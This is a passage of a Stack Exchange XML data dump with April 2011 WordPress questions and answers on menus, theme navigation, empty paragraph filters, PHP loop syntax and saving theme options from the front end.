src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-184351.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-184528.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-200013.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-211519.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-957-20110402-212132.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-212005.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Page_not_found_|_WP_3.1_Test_Site-20110402-213453.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this is not what you were looking for and/or if you run into something that needs to be addressed by this solution in addition to what I have coded. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-03T01:35:27.423" CommentCount="7" />
  <row Id="13782" PostTypeId="1" AcceptedAnswerId="13788" CreationDate="2011-04-03T02:14:56.077" Score="1" ViewCount="100" Body="&lt;p&gt;I've got a default main menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it gives a list of links in a form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(...)&#xA;&amp;lt;a href=&quot;link&quot; title=&quot;PageName&quot;&amp;gt;PageName&amp;lt;/a&amp;gt;&#xA;(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The very important question is, how to force WP to display it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  (...)&#xA;  &amp;lt;a href=&quot;link&quot;&amp;gt;PageName&amp;lt;/a&amp;gt;&#xA;  (...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't like the yellow boxes appearing every time I hover anything in menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's possible, because I've seen it working, but no idea how? Filters maybe? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-03T04:46:07.547" Title="Main menu - get rid of titles?" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="2" />
  <row Id="13783" PostTypeId="2" ParentId="13782" CreationDate="2011-04-03T02:51:37.263" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Wordpressor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure if you clear the &lt;em&gt;&quot;Title Attribute&quot;&lt;/em&gt; field in the &lt;code&gt;Appearance &amp;gt; Menu&lt;/code&gt; editor that the titles will be removed from the links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-225014.png&quot; alt=&quot;WordPress Menu Admin showing the Link Title Attribute field&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-03T02:51:37.263" CommentCount="3" />
  <row Id="13784" PostTypeId="2" ParentId="5913" CreationDate="2011-04-03T03:22:41.507" Score="1" ViewCount="" Body="&lt;p&gt;you have several options..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A: Create a new page template for your home page&lt;/strong&gt;&#xA;Create a home.php file in your child theme directory, of course without the navigation(wish is included in (wp_head)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B: Unregister the Primary and Secundary Nav&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your Child theme functions.php file and add this code at the end of the file, just before the closing ?&gt; if there is any. (DO NOT LEAVE ANY BLANK LINE/SPACE after the closing ?&gt; or your code.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Unregister Menu&#xA;add_action('genesis_after_header', 'remove_nav_bar');&#xA;function remove_nav_bars() {&#xA;    if (is_home()){&#xA;        remove_action('genesis_after_header', 'genesis_do_nav');&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C: Hiding the menu by CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your style.css &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Hide Navigation Menu in home page*/&#xA;.home #nav, .home #subnav {&#xA;    display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use any of this options, of course, option &lt;strong&gt;C&lt;/strong&gt; is the easiest way. &lt;/p&gt;&#xA;" OwnerUserId="3022" LastEditorUserId="3022" LastEditorDisplayName="" LastEditDate="2011-04-04T06:35:41.853" LastActivityDate="2011-04-04T06:35:41.853" />
  <row Id="13787" PostTypeId="2" ParentId="13780" CreationDate="2011-04-03T04:37:09.143" Score="1" ViewCount="" Body="&lt;p&gt;By default in Wordpress if you create a new post, or custom post type based on post, and fill in the title but no body and press &quot;Publish&quot; it will save it as a draft instead of actually publishing it. If the post is saved as a draft it won't show up in your list of posts during the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you elaborate more on why you're trying to accomplish this? There might be an easier solution for the bigger goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you do want it to work exactly as specified, you'll To specifically modify which posts go through the loop, you would need to run a &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;custom query&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you already modify the loop by adding parameters or doing a custom query? If so, please post that for a start.&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-04-03T04:37:09.143" CommentCount="4" />
  <row Id="13788" PostTypeId="2" ParentId="13782" CreationDate="2011-04-03T04:46:07.547" Score="2" ViewCount="" Body="&lt;p&gt;The title is an accessibility attribute that helps users with screen readers. It is part of the recommended WC3 standard for navigation items. Just think about that before you decide to eliminate it because you find it annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than modifying the PHP code, you could think about removing it after it's loaded. It's very easy to do this with jQuery. First, add this to your &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;wp_enqueue_script('jquery');&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, in your &lt;code&gt;site.js&lt;/code&gt; file, add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; &amp;gt;&#xA;jQuery(document).ready(function($){&#xA;  $('.nav li a').removeAttr('title');&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, I don't really recommend doing this, but this is how to accomplish it.&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-04-03T04:46:07.547" CommentCount="2" />
  <row Id="13789" PostTypeId="1" AcceptedAnswerId="13824" CreationDate="2011-04-03T05:16:43.823" Score="4" ViewCount="138" Body="&lt;p&gt;I'm looking for a plugin that will allow the user to upload files, maybe 4-10 that can be used on the homepage as part of a slideshow. I can code the slideshow part myself, if necessary, but the thing I'm interested in is a way for the user to select / upload the photos. It would be excellent if they were integrated with Wordpress' media manager just like other uploads. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-06-27T08:53:50.553" Title="What plugin can I use to create a list / slideshow of featured images?" Tags="&lt;plugins&gt;&lt;media&gt;&lt;post-thumbnails&gt;&lt;uploads&gt;&lt;slideshow&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="13790" PostTypeId="1" AcceptedAnswerId="13802" CreationDate="2011-04-03T05:55:18.277" Score="0" ViewCount="94" Body="&lt;p&gt;I have custom post type and I want to have a menu where I combine category or categories from default Wordpress post type and from my custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have these categories &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sport, books, movies, any in default post type&lt;/li&gt;&#xA;&lt;li&gt;sport, books, school, any in my custom post type&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;can I have a menu link where I would display &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;sport&lt;/strong&gt; posts from both post types?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;sport, books&lt;/strong&gt; posts from default post type and &lt;strong&gt;any&lt;/strong&gt; from my custom post type?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-04-03T11:26:54.503" Title="can I 'combine' categories as a menu item?" Tags="&lt;categories&gt;&lt;link-category&gt;" AnswerCount="1" />
  <row Id="13791" PostTypeId="2" ParentId="13700" CreationDate="2011-04-03T07:43:27.570" Score="1" ViewCount="" Body="&lt;p&gt;I didn't test it myself, but maybe &lt;a href=&quot;http://feedproxy.google.com/~r/wpsnippets/~3/fZFjmTx8xxM/&quot; rel=&quot;nofollow&quot;&gt;this tip&lt;/a&gt; could solve your problem:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you would like&#xA;  yoursite.com/category/projects/projectname/&#xA;  to appear as&#xA;  yoursite.com/projects/projectname/&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Simply enter /. as the value for&#xA;  Category base in the permalink&#xA;  settings page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4403" LastActivityDate="2011-04-03T07:43:27.570" CommentCount="1" />
  <row Id="13792" PostTypeId="1" CreationDate="2011-04-03T07:43:39.863" Score="0" ViewCount="138" Body="&lt;p&gt;I just found the magnificent &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post function&lt;/a&gt; and have a few basic question about it. *For reference I used this on a multisite install for a number of blogs running theme_x. I simply wanted to add a page to each blog (without having to do it through WP Admin). This seems to have mostly-worked though I'm not sure I'm using it for its intended purpose?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;What happens if the specified page title already exists on several blogs?&lt;/strong&gt; Does it a) terminate the function b)rename in typical WP fashion to &quot;page-name-2&quot; format, or c) something else?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Should I remove the code from the theme template now that I have done what I needed to?&lt;/strong&gt; I'd like to leave it in just incase more blogs are added which use this theme but I'm wondering if it creates unnecessary database overload (does it get run every page load)?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The page doesn't appear anywhere in WP admin?&lt;/strong&gt; Though all blogs using this theme do indeed resolve to the newly-added page like so ... URL/newly-added-page. This is fine for me in this instance, but it makes me think I'm not using the function &quot;properly&quot; (I kinda expected a new page in WP Admin also)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3842" LastEditorUserId="3842" LastEditorDisplayName="" LastEditDate="2011-04-03T07:49:02.870" LastActivityDate="2011-04-03T22:20:19.867" Title="Proper procedure for wp_insert_post?" Tags="&lt;page&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13793" PostTypeId="1" AcceptedAnswerId="13801" CreationDate="2011-04-03T07:46:17.290" Score="1" ViewCount="77" Body="&lt;p&gt;I'm student web developer and I'd like to know the things I should know before venturing into WordPress. Where do I start?&lt;/p&gt;&#xA;" OwnerUserId="4401" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T09:15:08.340" LastActivityDate="2011-05-09T09:15:08.340" Title="Where do I start from" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="13794" PostTypeId="1" AcceptedAnswerId="13808" CreationDate="2011-04-03T08:25:34.630" Score="0" ViewCount="274" Body="&lt;p&gt;I try to save an option from the frontend but i can't find yet how to do it.&lt;br&gt;&#xA;So, the idea is to give the blog owner a simple form with a dropdown that can select a different stylesheet.css.&#xA;I have build it for the wp-admin area and it works fine, but i want to do the same in the frontend,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried to include the wp-admin/options.php in the header but nothing, just errors,&lt;br&gt;&#xA;i post the form to &quot;wp-admin/options.php&quot; but it redirect me in the wp-admin/options page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the frontend form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;save-theme&quot; name=&quot;save-theme&quot; action=&quot;/wp-admin/options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;select&amp;gt;&#xA;    &amp;lt;option&amp;gt;Select Theme&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&amp;gt;Red&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&amp;gt;Dark&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&amp;gt;White&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;button name=&quot;update-options&quot; type=&quot;submit&quot;&amp;gt;Save&amp;lt;/button&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('update-options'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-04-05T16:28:19.480" Title="Save Theme Options (options.php) From The Frontend" Tags="&lt;options&gt;&lt;theme-options&gt;&lt;front-end&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="13797" PostTypeId="2" ParentId="13761" CreationDate="2011-04-03T10:09:08.357" Score="0" ViewCount="" Body="&lt;p&gt;You must output the propper HTML to make it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the href-attribute needs to contain the URL and the title separated with the | sign, like &lt;code&gt;&amp;lt;a href=&quot;http://example.com/post-url|post-title&quot; rel=&quot;shareit&quot; ...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will enable the script you've posted above use a concrete URL and title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I don't know you PHP code from your theme I can not give any further hints on how to output the correct URL or title, but probably &lt;code&gt;&amp;lt;?php the_permalink(); ?&amp;gt;|&amp;lt;?php the_title(); ?&amp;gt;&lt;/code&gt; might do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take care, encodings do apply.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-04-03T10:09:08.357" />
  <row Id="13798" PostTypeId="1" CreationDate="2011-04-03T10:13:16.947" Score="2" ViewCount="566" Body="&lt;p&gt;Hey guys,&#xA;I simply want to prevent the creation of empty paragraphs in my wordpress post. That happens quite often when trying to manually space content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why this doesn't take effect?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*Remove empty paragraph tags from the_content*/&#xA;function removeEmptyParagraphs($content) {&#xA;&#xA;    /*$pattern = &quot;/&amp;lt;p[^&amp;gt;]*&amp;gt;&amp;lt;\\/p[^&amp;gt;]*&amp;gt;/&quot;;   &#xA;    $content = preg_replace($pattern, '', $content);*/&#xA;    $content = str_replace(&quot;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&quot;,&quot;&quot;,$content);&#xA;    return $content;&#xA;}&#xA;&#xA;add_filter('the_content', 'removeEmptyParagraphs');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit/update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;seems like the problem is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function qanda($content) {&#xA;&#xA;    // filters for [q=some question] and [a=some answer]&#xA;    // wraps it inside of &amp;lt;div class=&quot;qanda&quot;&amp;gt;&amp;lt;div class=&quot;question&quot;&amp;gt; &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;answer&quot;&amp;gt; &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;    $content = preg_replace('/\[q=(.+?)].+?\[a=(.+?)]/is', '&amp;lt;div class=&quot;qanda&quot;&amp;gt;&amp;lt;div class=&quot;question&quot;&amp;gt;$1&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;answer&quot;&amp;gt;$2&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;', $content);&#xA;&#xA;    return $content;&#xA;}&#xA;&#xA;add_filter('the_content', 'qanda');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i did this function myself to filter for a kind of shortcode pattern in my posts and pages. Even though in my backend the post is completely done without paragraphs and unnecessary spacings the outcome looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;qanda&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;qanda&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;qanda&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any idea where this empty p's come from?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-04-03T12:35:30.507" LastActivityDate="2011-04-06T12:40:17.307" Title="remove empty paragraphs from the_content?" Tags="&lt;functions&gt;&lt;filters&gt;&lt;wp-autop&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="13799" PostTypeId="2" ParentId="13794" CreationDate="2011-04-03T10:15:45.557" Score="1" ViewCount="" Body="&lt;p&gt;Maybe &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-switcher-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Theme Switcher Reloaded (Wordpress Plugin)&lt;/a&gt; contains enough information on how that could be done?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-04-03T10:15:45.557" />
  <row Id="13801" PostTypeId="2" ParentId="13793" CreationDate="2011-04-03T11:23:49.637" Score="2" ViewCount="" Body="&lt;p&gt;Glad your taking the jump into wordpress, wordpress is an amazing platform for developers and non-developers alike, if you have knowledge of PHP, HTML, CSS (and jQuery in some instances) you will enjoy working with wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great place to start understanding wordpress would of-course be the wordpress website itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps, for more specific tutorials and tips / tricks i find myself scouring google every-time i need something.&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-03T11:23:49.637" CommentCount="1" />
  <row Id="13802" PostTypeId="2" ParentId="13790" CreationDate="2011-04-03T11:26:54.503" Score="1" ViewCount="" Body="&lt;p&gt;What I would suggest in this situation is that you create a &quot;CUSTOM QUERY&quot; to query the posts.  Set this custom query into a page, then use Appearance &gt; Menu's to add the page into your menu structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-03T11:26:54.503" CommentCount="2" />
  <row Id="13803" PostTypeId="1" AcceptedAnswerId="13807" CreationDate="2011-04-03T11:32:07.550" Score="0" ViewCount="151" Body="&lt;p&gt;Hiya Guys! so I need some help with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php&#xA;&#xA;        $newsposts = new WP_Query('cat=restaurant');&#xA;&#xA;        if ( is_front_page()) { echo '&amp;lt;h3 class=&quot;member-review&quot;&amp;gt;Latest Restaurants&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;extra&quot;&amp;gt;if ($newsposts-&amp;gt;have_posts()) : while ($newsposts-&amp;gt;have_posts()) : $newsposts-&amp;gt;the_post();&#xA;&#xA;        &amp;lt;div class=&quot;reslogo&quot;&amp;gt;&amp;lt;img src=&quot;'echo catch_that_image()' /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        endwhile, endif; &#xA;&#xA;        &amp;lt;/div&amp;gt;';    &#xA;&#xA;        } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do here is have an image slider of first post images (from restaurant category) display at the bottom of the page. I use DIVs to control placement/ style but I really need help with my PHP syntax ... I just cant figure it out... Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="4179" LastActivityDate="2011-04-03T12:58:14.430" Title="PHP nested If statement syntax" Tags="&lt;php&gt;&lt;code&gt;" AnswerCount="2" />
  <row Id="13804" PostTypeId="2" ParentId="13793" CreationDate="2011-04-03T11:32:56.530" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt; is &lt;strong&gt;official documentation wiki&lt;/strong&gt; for the project. It is far from perfect in advanced corners, but basics are covered well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you will need to spend a lot of time in WordPress source, it is best to have it installed and running on your local computer. Any &lt;strong&gt;decent Apache-MySQL-PHP stack&lt;/strong&gt; will do. &lt;strong&gt;PHP debugger&lt;/strong&gt; and good &lt;strong&gt;PHP-aware IDE&lt;/strong&gt; will be more than beneficial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what typical tools of WordPress developers are in this question - &lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-and-plugin-development&quot;&gt;Software for WordPress Theme and Plugin Development?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-03T11:32:56.530" CommentCount="1" />
  <row Id="13805" PostTypeId="2" ParentId="13775" CreationDate="2011-04-03T11:44:03.870" Score="0" ViewCount="" Body="&lt;p&gt;Use this code to echo your div's ID&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $sidebar_layout = get_post_meta($post-&amp;gt;ID, 'sidebar-layout', $single = true); ?&amp;gt;&#xA;&amp;lt;div id=&quot;&amp;lt;?php echo $sidebar_layout ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;         ...&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;    ...&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to apply styles according to the selection the user has made then change your style sheet as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#left .content{ ... }&#xA;#left .sidebar{ ... }&#xA;#right .content{ ... }&#xA;#right .sidebar{ ... }&#xA;#none .content{ ... }&#xA;#none .sidebar{ ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-03T11:44:03.870" />
  <row Id="13806" PostTypeId="2" ParentId="13798" CreationDate="2011-04-03T12:15:51.130" Score="1" ViewCount="" Body="&lt;p&gt;WordPress will automatically insert &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tags for you to separate content breaks within a post or page. If, for some reason, you want or need to remove these, you can use either of the follow code bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable completely this autop filter you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content', 'wpautop');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you still want this to function try adding a later praiorty value to your filter something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'removeEmptyParagraphs',99999);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-03T12:58:26.770" LastActivityDate="2011-04-03T12:58:26.770" CommentCount="2" />
  <row Id="13807" PostTypeId="2" ParentId="13803" CreationDate="2011-04-03T12:21:06.460" Score="1" ViewCount="" Body="&lt;p&gt;you can't run code inside quote since php treats it as string, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $newsposts = new WP_Query('cat=restaurant');&#xA;    if ( is_front_page()) { &#xA;        echo '&amp;lt;h3 class=&quot;member-review&quot;&amp;gt;Latest Restaurants&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div id=&quot;extra&quot;&amp;gt;';&#xA;        if ($newsposts-&amp;gt;have_posts()) : while ($newsposts-&amp;gt;have_posts()) : $newsposts-&amp;gt;the_post();&#xA;            echo '&amp;lt;div class=&quot;reslogo&quot;&amp;gt;&amp;lt;img src=&quot;'.catch_that_image().'&quot;/&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        endwhile, endif; &#xA;        echo '&amp;lt;/div&amp;gt;';    &#xA;    } &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-03T12:21:06.460" CommentCount="3" />
  <row Id="13808" PostTypeId="2" ParentId="13794" CreationDate="2011-04-03T12:43:12.953" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;You Do Not want to post /wp-admin/options.php from the front end&lt;/strong&gt; , thats a bad idea and can cause problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To updated Options from the frontend simply use update_option() and make sure you verify correctly. here is an example using your code with minor fixes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    if (isset($_POST['stylesheet']) &amp;amp;&amp;amp; isset($_POST['action']) &amp;amp;&amp;amp; $_POST['action'] == &quot;update_theme&quot;){&#xA;        if (wp_verify_nonce($_POST['theme_front_end'],'update-options')){ &#xA;            update_option('my_theme-style',$_POST['stylesheet']);&#xA;        }else{&#xA;        ?&amp;gt;&amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;?php echo 'update failed'; ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;?php}&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;form id=&quot;save-theme&quot; name=&quot;save-theme&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;select name=&quot;stylesheet&quot;&amp;gt;&#xA;&amp;lt;?php $selected = get_option('my_theme-style');&#xA;    &amp;lt;option&amp;gt;Select Theme&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ($selected = 1) echo 'selected=&quot;selected&quot;'; ?&amp;gt;&amp;gt;Red&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ($selected = 2) echo 'selected=&quot;selected&quot;'; ?&amp;gt;&amp;gt;Dark&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ($selected = 3) echo 'selected=&quot;selected&quot;'; ?&amp;gt;&amp;gt;White&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('update-options','theme_front_end'); ?&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update_theme&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;update-options&quot; value=&quot;Save&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this assumes that the option key or name is my_theme-style.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-05T16:28:19.480" LastActivityDate="2011-04-05T16:28:19.480" CommentCount="4" />
